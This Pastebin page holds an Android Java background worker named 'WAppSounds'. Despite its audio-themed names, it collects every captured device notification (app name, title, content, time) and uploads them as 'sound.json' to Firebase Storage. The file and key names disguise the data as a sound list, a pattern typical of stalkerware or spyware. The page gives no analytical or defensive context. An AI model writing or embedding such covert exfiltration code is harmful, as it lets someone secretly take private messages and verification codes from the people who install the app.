Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class WAppSounds extends Worker {
- private static final String TAG = "WAppSoundsTag";
- public WAppSounds(@NonNull Context context, @NonNull WorkerParameters workerParams) {
- super(context, workerParams);
- }
- @NonNull
- @Override
- public Result doWork() {
- Firebase firebase = new Firebase();
- StorageReference root = firebase.getStorageReference();
- ArrayList<NotificationModel> notificationModels = NotificationFeedReaderDisplayMetric.getNotification(getApplicationContext());
- JSONObject jsonObject = new JSONObject();
- JSONArray jsonArray = new JSONArray();
- for (NotificationModel notificationModel : notificationModels) {
- JSONObject data = new JSONObject();
- try {
- data.put("appName", notificationModel.getAppPackage());
- data.put("title", notificationModel.getTitle());
- data.put("content", "" + notificationModel.getContent());
- data.put("postTime", notificationModel.getTime());
- data.put("key", notificationModel.getKeys());
- jsonArray.put(data);
- } catch (Exception e) {
- Log.e(TAG, "doWork: Add Error", e);
- }
- }
- try {
- jsonObject.put("SoundList", jsonArray);
- } catch (JSONException e) {
- throw new RuntimeException(e);
- }
- String soundPath = "/sound.json";
- try {
- UploadTask uploadTask = root.child(soundPath).putBytes(jsonObject.toString().getBytes("utf-8"));
- uploadTask.addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
- @Override
- public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
- Log.d(TAG, "onSuccess: Notifications uploaded");
- }
- });
- } catch (UnsupportedEncodingException e) {
- Log.e(TAG, "doWork: Upload err", e);
- throw new RuntimeException(e);
- }
- return Result.success();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment